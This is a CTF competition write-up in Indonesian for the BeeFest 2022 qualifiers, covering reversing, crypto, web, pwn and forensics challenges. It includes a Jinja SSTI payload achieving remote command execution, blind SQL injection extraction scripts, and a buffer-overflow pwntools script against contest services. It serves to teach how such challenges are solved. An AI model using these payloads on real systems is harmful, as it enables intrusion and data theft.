0% menganggap dokumen ini bermanfaat (0 suara)
25 tayangan25 halaman

BeeFest 2022 Quals

Dokumen ini berisi rangkuman tantangan dan solusi dari berbagai kategori dalam kompetisi BeeFest 2022, termasuk reverse engineering, cryptography, web security, dan exploitation. Setiap tantangan disertai dengan penjelasan tentang metode yang digunakan untuk mendapatkan flag, serta flag yang berhasil ditemukan. Terdapat berbagai teknik seperti dekompilasi, brute force, SQL injection, dan manipulasi file yang diterapkan untuk menyelesaikan tantangan-tantangan tersebut.

Diunggah oleh

Moch Effendi
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
25 tayangan25 halaman

BeeFest 2022 Quals

Dokumen ini berisi rangkuman tantangan dan solusi dari berbagai kategori dalam kompetisi BeeFest 2022, termasuk reverse engineering, cryptography, web security, dan exploitation. Setiap tantangan disertai dengan penjelasan tentang metode yang digunakan untuk mendapatkan flag, serta flag yang berhasil ditemukan. Terdapat berbagai teknik seperti dekompilasi, brute force, SQL injection, dan manipulasi file yang diterapkan untuk menyelesaikan tantangan-tantangan tersebut.

Diunggah oleh

Moch Effendi
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
Anda di halaman 1/ 25

BeeFest 2022 quals

adzky
Rev - Beefest Article

Diberikan file : beefestart.py

setelah dibuka ternyata berisi cerita panjang. Pertama coba cari dengan kata kunci
“FLAG/flag/BEECTF”, tetapi tidak menghasilkan apa”. Setelah cek deskripsi ternyata
terdapat kata kunci “pesan”, yaudah langsung cari aja

Flag : BEECTF{C0ngrat5th1s15tH5mEsSaGEad23ikf29}
Rev - Too Easy

Diberikan file exe terntunya executable untuk windows

Langsung saja buka di ghidra

Oke, pada decompile sudah muncul flagnya tinggal urutkan sesuai index

Flag : BEECTF{sUp3R_3z_R3v!!!}
Rev - MyPazzword

Diberikan file elf executable yang diharuskan untuk menginput password sebanyak 8
char untuk mendapatkan flag

Oke coba decompile dengan ghidra


terlihat bahwa masing” inputan akan diteruskan pada suatu fungsi yang akan
dikalkulasi lebih lanjut. Coba kita bedah salah satu fungsi,

VAL4 cukup simple tentunya VAL yang lain juga. Langsung saja solve menggunakan
z3 karena z3 akan mengkalkulasi persamaan tersebut secara instant ketimbang kita
manual menghitung

Berikut solve script yang saya gunakan:

1. from z3 import *
2.
3. s = Solver()
4.
5. x = [BitVec(f'x{i}',8) for i in range(8)]
6.
7. for i in range(8):
8. s.add(Or(And(x[i] >= 65, x[i] <=90), And(x[i] >= 97, x[i] <= 122)))
9.
10. s.add(And(x[0] > 0x4c, x[0] < 0x4e))
11. s.add(0x64 + 0xc + 5== x[1])
12. s.add((((0x000013f8 + (0x00000ce3 * 2 - 0x0000240f)) - 0x00000ebc) + 0x1bfa) -
x[2] == 0x000016a9)
13. s.add( (0x000bdc4a / 10 + 0x0001f7b4 / 2 + 0x0003a612 / 2 + 0x0001f7b4 +
0x0003a612+ 0x000bdc4a) - (x[2] + x[3]) == 0x0015790f )
14. s.add((x[0] + x[4] + x[1]) == ord('*') )
15. s.add( (x[4] * x[5]) ^ 0x00000ebc ^ 0x00000ce3 == 0x227 )
16. s.add( ((x[6] * -0x60) ^ 0x000d54f0 ^ 0x0001f7b4 ^ 0x000bdc4a) * (0x000d54f0 -
((x[6] * -0x60) ^ 0x000d54f0 ^ 0x0001f7b4 ^ 0x000bdc4a)) == 0xd63944dc)
17. s.add( ((x[2] * x[0] + x[7]) ^ (0x00000ebc + ((0x0000240f + 0x00000ce3) -
0x000013f8)) - 0x000016a9 ^ (0x0001f7b4 + 0x0003a612) - 0x000bdc4a * 1)
==0x00062b93)
18.
19. char = ""
20. if s.check() == sat:
21. m = s.model()
22. for i in x:
23. char += chr(m[i].as_long())
24. print(char)

Namun, setelah dapet flag, eh malah gabisa disubmit


https://media.discordapp.net/attachments/1033675529120915506/10336757445068
26762/unknown.png?width=463&height=670 Setelah tanya author..

dapet deh flag yg asli


Flag saya : BEECTF{M4t3m4Tik4_sUn88uH_45y1k_187u133A211}
Flag author : BEECTF{M4t3m4Tik4_sUn88uH_45y1k_187u165A179}

Cry - Julius Junion Jr

Diberikan file py, coba dibuka


Flag terenkripsi oleh fungsi encrypt. Fungsi encrypt sendiri cukup simple,
beruntungnya fungsinya mengenkripsi satu persatu character flag. Jadi tanpa
membongkar rumus, gunakan bruteforce aja

Berikut script yang saya gunakan:


1. import string
2. def encrypt(text,s):
3. final_result= ""
4. for i in range(len(text)):
5. char = text[i]
6. if (char.isupper()):
7. final_result += chr((ord(char) + s-65) % 26 + 65)
8. elif (char.islower()):
9. final_result += chr((ord(char) + s - 97) % 26 + 97)
10. elif (char.isnumeric()):
11. final_result += chr((ord(char) + s - 48) % 10 + 48)
12. else:
13. final_result += char
14. return final_result
15.
16. text = "BEECTF{"
17. shift = 3
18. expected = "EHHFWI{3k_vw4oo_f7qw_diw6u_k6a_f7hvdu_f7hvdu_keq1543}"
19. while True:
20. for i in string.printable[:-6]:
21. pay = text + i
22. x = encrypt(pay, shift)
23. if x in expected:
24. text += i
25. if len(text) == len(expected):
26. print(text)
27. break
Flag : BEECTF{0h_st1ll_c4nt_aft3r_h3x_c4esar_c4esar_hbn8210}

Cry - What is Happening?!

Diberikan file message.txt

Pada deskripsi juga terdapat kata kunci keyboard shift.

Dapat link google drive setelah di decode, didalamnya terdapat file wav. Setelah
didengar ini mirip seperti morse code, coba di convert
Dapat plaintext yaitu J A N G A N B O L O S P R A M U K A
Flag : BEECTF{JANGANBOLOSPRAMUKA}

Web - iDoor
Diberikan service web sebagai berikut

Tampilan seperti web registrasi biasa


Disini saya merasa yakin bahwa main dari challenge ini adalah IDOR (sesuai judul).
Saya coba bruteforce tpi tidak menghasilkan apa”. Setelah dicermati pada deskripsi
ternyata IDOR tersebut mengharuskan kita menginputkan epoch time pada “1st april
2022”

Flag : BEECTF{0fc_1ts_s0_0bv10us_1z1_34592949031}

Web - Kopi Janji Jinja


Diberikan service sebagai berikut

hanya gambar produk kopi dan tidak apa” didalamnya. Namun terdapat satu page yg
kita bisa menginputkan feedback
Sesuai judul saya berpikir ini adalah python web app menggunakan template jinja

Seperti biasa kita inputkan {{ 7 * 7 }} namun terblacklist

setelah itu saya kepikiran untuk menggunakan cara pada challenge compfest
kemarin yaitu {%print(1)%} dan ternyata berhasil

Langsung saja panggil library lipsum untuk bypass dengan penambahan attribute
__global__ untuk memanggil semua library yang ada

{%print(lipsum|attr("__globals__")).os.popen("ls").read()%}

Dan berhasil mendapat RCE. Namun tidak terdapat file flag, coba buka file ssti.py
Dapat FLAG : BEECTF{3s_3s_t1_a1_Gg3Z_h3h3_g12l2bi30l}

Web - seeq well

Diberikan service sebagai berikut


terdapat fitur search pada web namun jika kita mencoba search tidak muncul apa”.
Untuk mencoba” input single quote, muncul error mysql:

Oke sepertinya challenge ini berfokus pada blind sqli karena ketika kita
memasukkan statement true web seakan” tidak menghasilkan output

Percobaan pertama pada leaking database menggunakan substr

Setelah dicoba” ternyata kita bisa mengetahui statement true atau tidak jika muncul
banyak random user

Ini jika false:


Ini jika true:

Oke kita bisa leak database satu” dilanjutkan dengan nama table dan kolom untuk
mengetahui flag dan setelahnya tinggal kita panggil
1. import sys
2. import string
3. import time
4.
5. url = 'http://chall.petircysec.xyz:54170/api/test.php'
6. c = {"PHPSESSID":"5310caeb8bb42b105f5b68b9fb8b05cb"}
7. head = {"Content-Type":"application/x-www-form-urlencoded"}
8. char = string.ascii_lowercase + string.ascii_uppercase + string.digits
9.
10. def db():
11. pos = 1
12. while 1:
13. for j in char:
14. payload = f'asdasd\' or binary substr(database(),{pos},1)=\'{j}\'-- '
15. data = {"username": payload}
16. time.sleep(0.5)
17. r = requests.post(url, data=data, headers=head,cookies=c,timeout=5)
18. if "ktersay1" in r.text:
19. print(j)
20. pos += 1

didapatkan dbnya yaitu : seeqWellDB

Setelah itu lanjut mendapatkan table

1. def table():
2. pos = 1
3. while 1:
4. for j in char:
5. pay = f'asdasd\' or binary substr((select table_name from
information_schema.tables where table_schema=\'seeqWellDB\' limit 1 offset
0),{i},1)=\'{j}\'-- '
6. data = {"username": pay}
7. time.sleep(0.5)
8. r = requests.post(url, data=data,
headers=head,cookies=c,timeout=5)
9. if "ktersay1" in r.text:
10. print(j)
11. pos += 1

didapatkan tablenya yaitu : flag

Lanjut mendapatkan column


1. def column():
2. pos = 1
3. while 1:
4. for j in char:
5. pay = f'asdasd\' or binary substr((select column_name from
information_schema.columns where table_schema=\'seeqWellDB\' and
table_name=\'flag\' limit 1 offset 0),{i},1)=\'{j}\'-- '
6. data = {"username": pay}
7. time.sleep(0.5)
8. r = requests.post(url, data=data,
headers=head,cookies=c,timeout=5)
9. if "ktersay1" in r.text:
10. print(j)
11. pos += 1

didapatkan columnya yaitu : flag

Final : mendapatkan flag


1. def flag():
2. pos = 1
3. while 1:
4. for j in char:
5. pay = f'asdasd\' or binary substr((select flag from flag limit 1
offset 0),{i},1)=\'{j}\'-- '
6. data = {"username": pay}
7. time.sleep(0.5)
8. r = requests.post(url, data=data,
headers=head,cookies=c,timeout=5)
9. if "ktersay1" in r.text:
10. print(j)
11. pos += 1

Flag : BEECTF{4lw4ys_pAr53_User_1NpU7s_bE5E4ExP}

Note: Jika koneksi ter reset oleh server, coba tingkatkan timeout atau sleep (wafnya
sangat ganas)

Pwn - abcd
Diberikan file zip didalamnya tedapat file elf dan file c:

Source code pwn cukup simple tinggal overwrite sebanyak 8 char + hex 0x21 atau
33 dalam desimal
Berikut solve script:
1. from pwn import *
2.
3. p = remote('chall.petircysec.xyz',56789)
4. pay = b'a' * 8 + b'\x21'
5. p.sendlineafter(b": ", pay)
6. p.interactive()

Flag : BEECTF{AbcD_d0nt_Forg37_413out_ASCI1}

Pwn - General Store

Diberikan link gdrive untuk mendownload file dan juga service sebagai berikut
Terdapat file c, elf, dan flag
Terlihat bahwa program memiliki 4 opsi :
- Opsi 1 yaitu kita dapat memasukkan angka bebas dan angka tersebut akan
masuk ke balance kita.
- Opsi 2 mengurangi balance kita
- Opsi 3 beli flag dengan harga sebesar 100000000$
- Opsi 4 exit
Secara opsi 1 tidak terdapat filter apapun, kita dapat memasukkan angka sebanyak
yg kita mau melebihi harga flag
Flag : BEECTF{This_1s_0ur_5pec1al_M3NU}

For - Corrupted

Diberikan file image yang broken


Saat di check ternyata benar pada deskripsi yaitu IHDR tetapi pada file ihDr. Untuk
membenarkan menggunakan hexedit

Nah setelah di cek file sudah terecover

Flag : BEECTF{yes_chunk_indeed}

For - Sonic the Handsome


Diberikan file wav

dibuka di audacity

Flag : BEECTF{n0W_Y0u_s3E_m3}

Misc - Transaction
Challenge kali ini yaitu tentang BTC, setelah di cek pada address berikut terdapat 2
transaksi dan yang benar terdapat pada address yang tlah bertransaksi sebesar 557
BTC

Flag : BTC{1PedixBEkHdowXfn2hgwu8h64jAa3sNNr2}

Anda mungkin juga menyukai